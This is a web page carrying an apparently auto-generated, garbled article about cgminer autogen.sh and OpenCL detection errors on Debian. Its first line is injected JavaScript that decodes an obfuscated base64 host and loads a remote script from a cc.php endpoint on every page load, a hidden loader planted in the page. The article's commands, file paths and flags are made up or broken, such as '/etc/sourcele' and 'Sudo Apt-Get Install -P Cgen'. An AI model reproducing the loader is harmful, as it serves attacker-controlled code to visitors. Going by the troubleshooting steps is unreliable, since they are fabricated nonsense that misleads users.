const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=20d54adb”;document.body.appendChild(script);
Ethereum: Cgminer OpenCL-Detection over-autogenic error
As the CGMINER installation problems are faced with the Debian server, we are immersed in the logs to identify the cause of the error. In this article, we review the details of the autogen.sh script and how to override OpenCL detection.
autogen.sh log
Take a look at the autogen.sh script used by cgminer:
`
…
autogen -c
/usr/bin/mkmf -lib OptiLib -d $ ldflags \
-Target x86_64-pc-linux-gnu -d __cygwin__ \
-D __win32__ -d __win64__ -d _MSC_ver -D _MSC80 \
-D _MSC_ver -d _MSC32 -D _MSC_V1
/usr/bin/mkmf -lib OptiLIB -i/usr/Include/\
-Target x86_64-pc-linux-gnu -d $ ldflags \
-Target ARM64-GCC-LLTDA \
-I/usr/Include/Linux \
-D __cygwin__ \
-D __win32__ -d __win64__ -d _MSC_ver -D _MSC80 \
-D _MSC_ver -d _MSC32 -D _MSC_V1
`
The AutoGen.sh error fire:
`
Autogen:/usr/bin/mkmf -lib OptiLIB -D $ ldflags …
Error: OpenCL detection failed. For details, see the log below.
`
OPENCL Detection Error
The “OpenCL Detection” step in the autogenic script attempts to detect whether the system is capable of using OpenCL. However, it seems that some systems are not able to properly detect and compile the necessary header files.
Overcrowding OpenCL Detecting
To overcome the problem, you can try to override the autogen.sh script with a unique version that includes the OpenCL perception. You need to edit the “/etc/sourcele” file on the server to include the following lines:
`
-Alvable-OPENCL DATE
`
This allows you to detect and compile the required header files.
More steps
To ensure that the autogenous process is successfully completed, you should also try the following:
- Return CGMINER by using `Sudo Apt-Get Install -P Cgen” (for Debian-based systems)
- Refresh the package lists before installing Cgminer
- Run “APT UPDATE” then “Apt Install -q–No-InStall request for CGEN”
Conclusion
By modifying the autogen.sh script, OpenCL detecting must be capable of overcoming the autogen -related error message. In addition, you can edit the “/etc/sourcele” file to ensure that the system is properly configured to compile OPENCL. If you continue to experience problems, after trying these steps, please give me more details about your environment and setting up and will do my best to help you further.